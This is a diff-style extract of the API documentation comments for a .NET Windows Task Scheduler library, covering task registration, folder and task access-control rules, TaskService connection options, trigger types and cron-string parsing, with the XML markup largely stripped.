NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of 